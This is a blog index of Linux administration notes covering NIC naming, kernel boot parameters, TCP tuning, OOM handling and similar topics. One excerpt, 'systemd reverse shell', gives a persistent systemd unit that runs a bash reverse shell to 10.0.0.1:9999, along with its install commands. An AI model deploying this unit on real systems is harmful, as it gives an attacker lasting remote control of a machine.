linux学习笔记
rainharder
这个作者很懒,什么都没留下…
展开
-
centos网卡重命名方法
centos7以后网卡命名采用一致性网络设备命名(Consistent Network Device Naming),不再是eth0,eth1这种简单的命名。在某些场景下简单的网卡名称能让事情更简单,下面是几种网卡改名的方案。原创 2023-12-15 14:22:36 · 785 阅读 · 0 评论 -
通过tcpdump对Unix Domain Socket 进行抓包解析
大多时候我们可以通过tcpdump对网络抓包分析请求、响应数据来排查问题。但是如果程序是通过Unix Domain Socket方式来访问的那么tcpdump就看不到Unix Domain Socket里面具体流淌的内容了,本文希望找到一种方法达到如同抓包查看网卡内容一样来抓包查看Unix Domain Socket上具体的请求、响应数据。转载 2023-09-15 16:37:23 · 1449 阅读 · 0 评论 -
自制系统基础镜像
制作系统基础镜像原创 2023-07-20 20:33:57 · 415 阅读 · 0 评论 -
ssh登陆慢的深度排查
ssh登陆慢的深度排查方法原创 2023-05-29 15:40:45 · 549 阅读 · 0 评论 -
shell循环两个变量
【代码】shell循环两个变量。原创 2023-03-08 16:51:03 · 1189 阅读 · 0 评论 -
systemd reverse shell
创建rshell.service文件[Unit]Description=reverse shell[Service]ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target安装cp rshell.service /lib/systemd/system/ln -原创 2020-08-04 09:37:23 · 139 阅读 · 0 评论 -
Linux 内核引导的若干选项
在低延迟等场景中,看到了一些引导参数,对提升响应速度,降低延迟有一定效果,记录说明如下。以下均来自网络,描述不一定非常准确,仅供了解。isolcpus=CPU编号列表将列表中的CPU从内核SMP平衡和调度算法中剔除。可以将特定的CPU隔离出来只给指定进程使用。nohz_full=CPU列表在内核"CONFIG_NO_HZ_FULL=y"的前提下,指定哪些CPU核心可以进入完全无滴答状态。如果你有一个100Hz的滴答,那么每秒100次,操作系统会唤醒,检查是否有任何定时器已经过期,如果有则原创 2020-08-04 09:12:46 · 612 阅读 · 0 评论 -
Linux 内核引导选项简介
作者:金步国版权声明本文作者是一位开源理念的坚定支持者,所以本文虽然不是软件,但是遵照开源的精神发布。无担保:本文作者不保证作品内容准确无误,亦不承担任何由于使用此文档所导致的损失。 自由使用:任何人都可以自由的阅读/链接/打印此文档,无需任何附加条件。 名誉权:任何人都可以自由的转载/引用/再创作此文档,但必须保留作者署名并注明出处。其他作品本文作者十分愿意与他人分享劳动成果,如果你对我的其他翻译作品或者技术文章有兴趣,可以在如下位置查看现有的作品集:金步国作品集[http:..转载 2020-08-04 09:11:08 · 1000 阅读 · 0 评论 -
ext4 No space left on device
问题磁盘使用的ext4文件系统,一个目录下存了大量文件,再写入文件时报空间不足,但空间和inode都没有满原因如果目录下文件过多,ext4文件系统的dir_index特性会采用hash tree加快文件名查找:linear directory or hash tree如果1个block(默认为4096字节)已经存放不下了已有的entry,那么就要转向hash tree了可以通过命令缺省确认dir_index是否开启tune2fs -l /dev/sdb| grep -o dir_index原创 2020-06-11 16:38:33 · 674 阅读 · 0 评论 -
Linux下实现类似SecureCRT的复制Session功能
原帖:http://www.coder4.com/archives/4285在你的ssh客户端机器(例如从你的PC登录服务器,那么就是在你的PC上)创建~/.ssh文件夹1234567转载 2016-05-27 10:33:27 · 1293 阅读 · 0 评论 -
samba挂载目录文件重命名诡异失败
先说一下问题出现的场景: 两台linux服务器通过samba挂载,一台写文件,一台读文件,为防止文件没写完就被读取,写文件时先用临时文件名,然后再rename结果遇到个问题rename调用成功,但是文件名没有改,手工执行mv命令,报错说是 are the same file,这种情况在一台机器重启后出现比较频繁。网上各种搜,没有合适的关键词,搜不到有用的信息。突然想起看看dmesg,结果发现了有用原创 2016-05-13 16:24:38 · 3503 阅读 · 0 评论 -
fopen的默认缓冲大小和setvbuf 用法
原帖:http://www.cnblogs.com/GoodGoodWorkDayDayUp/archive/2011/07/18/2109347.htmlunix环境高级编程》是这么说的:标准IO流操作读写普通文件是使用全缓冲的,默认缓冲区长度是该文件系统优先选用的IO长度(从stat结构得到的st_blksize值)//读取st_blksize的例子:转载 2016-05-23 15:12:14 · 3112 阅读 · 0 评论 -
服务器进程为何通常fork()两次
首先,要了解什么叫僵尸进程,什么叫孤儿进程,以及服务器进程运行所需要的一些条件。两次fork()就是为了解决这些相关的问题而出现的一种编程方法。孤儿进程孤儿进程是指父进程在子进程结束之前死亡(return 或exit)。如下图所示:但是孤儿进程并不会像上面画的那样持续很长时间,当系统发现孤儿进程时,init进程就收养孤儿进程,成为它的父亲,child进程exit后的转载 2015-12-21 08:58:35 · 496 阅读 · 0 评论 -
TCP的keep-alive小结
TCP的keep-alive可以在不增加服务器处理逻辑的前提下,检测客户端连接是否中断/proc/sys/net/ipv4/tcp_keepalive_time 开始首次KeepAlive探测前的TCP空闭时间 /proc/sys/net/ipv4/tcp_keepalive_intvl 两次KeepAlive探测间的时间间隔 /proc/sys/net/ipv4/tcp_keepaliv原创 2015-07-23 15:19:11 · 7653 阅读 · 1 评论 -
NAT网络下TCP连接建立时可能SYN包被服务器忽略-tcp_tw_recycle
原帖:http://chenzhenianqing.cn/articles/1150.html最近一个长连接服务经常被反馈连接失败,刚开始怀疑是网络问题,也就没有细查。今天仔细抓包分析了一下,原来碰到了在开启tcp_tw_recycle和tcp_timestamps的机器上,当多个客户端使用同一个外网IP( NAT)时可能出现连接建立不成功的坑,具体表现为客户端发送了SYN 包给服务器,服转载 2015-07-06 15:55:40 · 3966 阅读 · 0 评论 -
Linux入侵审查浅谈
原帖:http://blog.levsonsafe.com/?p=2841. 检查帐户# less /etc/passwd# grep :0: /etc/passwd(检查是否产生了新用户,和UID、GID是0的用户)# ls -l /etc/passwd(查看文件修改日期)# awk -F: ‘$3= =0 {print $1}’ /etc/passwd(转载 2015-06-01 17:15:53 · 560 阅读 · 0 评论 -
ptmalloc,tcmalloc和jemalloc内存分配策略研究
原帖:https://www.owent.net/2013/07/ptmalloctcmallocptmalloctcmalloc和jemalloc内存分配策略研究.html操作系统内存布局 各种malloc的内存分配管理方式离不开操作系统的内存布局策略。32位经典内存布局 32位系统下经典内存布局如上,程序起始的1GB地址为内核空间,接下来是向下增长的转载 2015-02-28 15:10:12 · 876 阅读 · 0 评论 -
l2tp安装使用
# 安装 #使用rpm安装源码编译没有内核补丁需要注掉Makefile中USE_KERNEL定义# 配置 #vi /etc/xl2tpd/htvpn.conf[lac htvpn] # 多个服务器配多个段name = htvpnmm ; 账号lns = 60.251.31.134; 地址pppoptfile = /etc/ppp/htvpn.xl2t原创 2014-11-04 15:13:22 · 2390 阅读 · 0 评论 -
Bash的输入输出重定向
原贴:http://linux-wiki.cn/wiki/zh-hans/Bash%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA%E9%87%8D%E5%AE%9A%E5%90%91Bash的输入输出重定向此页由Linux Wiki用户Chenych11于2013年12月17日 (星期二) 13:39的最后更改。 在linux转载 2014-09-26 11:20:35 · 2066 阅读 · 0 评论 -
GLIBC_2.14 兼容问题 version `GLIBC_2.14′ not found
原帖:http://b.liuctic.com/2013/11/glibc_2-14-%E5%85%BC%E5%AE%B9%E9%97%AE%E9%A2%98-lib64libc-so-6-version-glibc_2-14-not-found/转载 2014-08-01 10:30:19 · 10722 阅读 · 1 评论 -
version `GLIBC_2.14' not found 解决方法.
原帖:参考:http://blog.csdn.net/force_eagle/article/details/8684669http://blog.csdn.net/iomato/article/details/8462768=============================================================转载 2014-08-01 10:21:39 · 7792 阅读 · 0 评论 -
Linux 系统启动过程(initrd部分) --- Linux boot process (initrd part)
原帖:http://blog.csdn.net/ropyn/article/details/2489945转载 2014-05-28 17:01:55 · 8691 阅读 · 0 评论 -
linux内核网络协议栈学习笔记:关于GRO/GSO/LRO/TSO等patch的分析和测试
原帖:http://blog.csdn.net/majieyue/article/details/7929398TSO,全称是TCP Segmentation Offload,我们知道通常以太网的MTU是1500,除去TCP/IP的包头,TCP的MSS (Max Segment Size)大小是1460,通常情况下协议栈会对超过1460的TCP payload进行segment转载 2014-04-04 14:27:17 · 971 阅读 · 0 评论 -
理解和配置 Linux 下的 OOM Killer
原帖:http://www.vpsee.com/2013/10/how-to-configure-the-linux-oom-killer/最近有位 VPS 客户抱怨 MySQL 无缘无故挂掉,还有位客户抱怨 VPS 经常死机,登陆到终端看了一下,都是常见的 Out of memory 问题。这通常是因为某时刻应用程序大量请求内存导致系统内存不足造成的,这通常会触发 Linux转载 2014-03-19 11:42:58 · 746 阅读 · 0 评论 -
查看linux系统是物理机还是虚拟机的方法
思路:利用虚拟机提供的硬件(硬盘、显卡、网卡等)或驱动等信息区分lspci |grep -i vmwaredmidecode|grep -i vmwaregrep -i vmware /proc/scsi/scsi类似virtualbox可以用grep vbox或virtualbox 判断原创 2016-08-12 11:02:58 · 7932 阅读 · 0 评论 -
ubuntu下挂载虚拟机硬盘的方法
有时需要访问虚拟机硬盘,有些系统没有权限直接操作磁盘。 可以通过以下方法,先把虚拟机硬盘挂载到本地,然后就可以用任意访问了。# 加载内核模块,加载后可以看到/dev/nbd0等sudo modprobe nbd max_part=16# 安装工具sudo apt install qemu-utils# 挂载虚拟机硬盘到设备文件上,根据虚拟硬盘分区情况,会出现/dev/nbd0p1 /dev/n原创 2016-12-05 11:30:55 · 2695 阅读 · 0 评论 -
Linux下PS1、PS2、PS3、PS4使用详解
shell调试可以设置PS4$ echo $PS4+{$LINENO:${FUNCNAME[0]}}原贴:http://os.51cto.com/art/201205/334954.htm1、PS1——默认提示符如下所示,可以通过修改Linux下的默认提示符,使其更加实用。在下面的例子中,默认的PS1的值是“\s-\v\$”,显示出了shell的转载 2017-01-16 12:53:05 · 10123 阅读 · 0 评论 -
centos系统降级
适用于centos7.x降级,不适用跨大版本,如7降到6。以7.5降级到7.4为例,步骤如下:配置yum.repo,配置为7.4(降级目标版本)的仓库,方法略安装旧版本内核yum install kernel-3.10.0.0-693以旧内核重启grubby --info=ALL # 找到旧内核grubby --set-default-index=1 # 旧内核的indexrebo...原创 2019-09-26 21:03:39 · 8445 阅读 · 1 评论 -
正确设置Java内存防止容器OOM Killer
在使用Java的容器上警察发生量重启,Docker检查发现pod被OOMKiller代码杀死:137。究其原因还是因为老版java不能正确处理容器的资源限制。JVM默认的最大Heap大小是系统内存的1/4。但在java 的早期版本中(小于1.8.131),不支持读取cgroup的限制。 默认是从/proc/目录读取可用内存。但是容器中的/proc目录默认是挂载的宿主机的内存目录。即java 读取...原创 2019-08-09 15:24:05 · 1664 阅读 · 0 评论 -
七种网卡绑定模式详解
原文:https://blog.csdn.net/wuweilong/article/details/39720571 概览:目前网卡绑定mode共有七种(0~6)bond0、bond1、bond2、bond3、bond4、bond5、bond6 常用的有三种:mode=0:平衡负载模式,有自动备援,但需要”Switch”支援及设定。mode=1:自动备援模式,其中一条...转载 2018-11-12 15:13:09 · 356 阅读 · 0 评论 -
Linux内核参数之rp_filter
原文: https://www.jianshu.com/p/717e6cd9d2bb一、rp_filter参数介绍 rp_filter参数用于控制系统是否开启对数据包源地址的校验。首先看一下Linux内核文档documentation/networking/ip-sysctl.txt中的描述:rp_filter - INTEGER0 - No source validation....转载 2018-05-25 15:21:13 · 1151 阅读 · 0 评论 -
wget下载目录下的文件
wget下载目录原创 2016-08-04 17:20:20 · 8537 阅读 · 0 评论 -
理解 Memory barrier(内存屏障)
转自:http://name5566.com/4535.html参考文献列表:http://en.wikipedia.org/wiki/Memory_barrierhttp://en.wikipedia.org/wiki/Out-of-order_executionhttps://www.kernel.org/doc/Documentation/memory-barrier转载 2017-06-14 13:46:17 · 529 阅读 · 0 评论 -
软中断过高问题如何解决
原文:http://os.51cto.com/art/201310/414482.htm前些天发现XEN虚拟机上的Nginx服务器存在一个问题:软中断过高,而且大部分都集中在同一个CPU,一旦系统繁忙,此CPU就会成为木桶的短板。在问题服务器上运行「top」命令可以很明显看到「si」存在异样,大部分软中断都集中在 1 号CPU上,其它的CPU完全使不上劲儿:shell> t转载 2017-06-14 08:39:25 · 9489 阅读 · 0 评论 -
linux断点续传目录
rsync -r -L -P --rsh=ssh /tmp/test/ 192.168.1.100:/home/-r 递归传送目录 -L 保持软链接,如果不加软连接会被忽略,-l 拷贝代替软连接 -P same as –partial –progress,断点续传和展示进度 –rsh 可以指定传送命令,默认ssh,可以加些参数进去,如端口,’ssh -p 2234’等等具体可以man原创 2017-06-30 09:17:04 · 706 阅读 · 0 评论 -
accept与epoll惊群
原文:http://www.pureage.info/2015/12/22/thundering-herd.html今天打开 OneNote,发现里面躺着一篇很久以前写的笔记,现在将它贴出来。1. 什么叫惊群现象首先,我们看看维基百科对惊群的定义:The thundering herd problem occurs when a large number of转载 2017-06-01 16:53:18 · 756 阅读 · 0 评论 -
创建守护进程的深入分析
原文:http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=4071026&page=1#pid23806182创建守护进程的过程有两种: 一、fork两次int main(){if(fork()) exit(0); setsid() if(fork()) exit(0); //守护进程代码}二、int main(转载 2017-04-11 10:58:31 · 388 阅读 · 0 评论 -
通过autossh提供内网服务
需要将内网服务映射到外网使用,条件限制不能通过端口映射实现。看了下ngrok,好像需要域名什么,没进一步测试。打算用ssh的端口转发功能,用autossh监控进行重连。 需要说明的是默认ssh远程转发只能绑定loop,需要打开服务器的sshd_config的GatewayPorts选项,改为yes或者clientspecified。export AUTOSSH_PIDFILE=/var/run/a原创 2017-03-22 20:55:50 · 983 阅读 · 0 评论 -
Linux下使cp命令不提示覆盖文件
网上搜到四种方法: 在调用cp的时候加入绝对路径(可通过whereis cp命令得到),如 /bin/cp -f file dir 通过直接执行下面的语句调用系统原始的命令: \cp -f file dir \cp则是告诉shell不要去查alias,直接执行原本的cp在~/.bashrc里面注释掉 Alias cp=’cp -i’unalias cp ,然后再使用cp,原创 2017-03-08 19:54:18 · 1687 阅读 · 0 评论 -
fail2ban防止ssh暴力破解
测试环境Red Hat Enterprise Linux Server release 6.3 (Santiago)解压安装tar zxvf fail2ban-0.9.6.tar.gzcd fail2ban-0.9.6/usr/bin/python setup.py install安装服务、开机启动cp files/redhat-initd /etc/init.d/fail2banchkconfig原创 2017-02-25 15:59:52 · 576 阅读 · 0 评论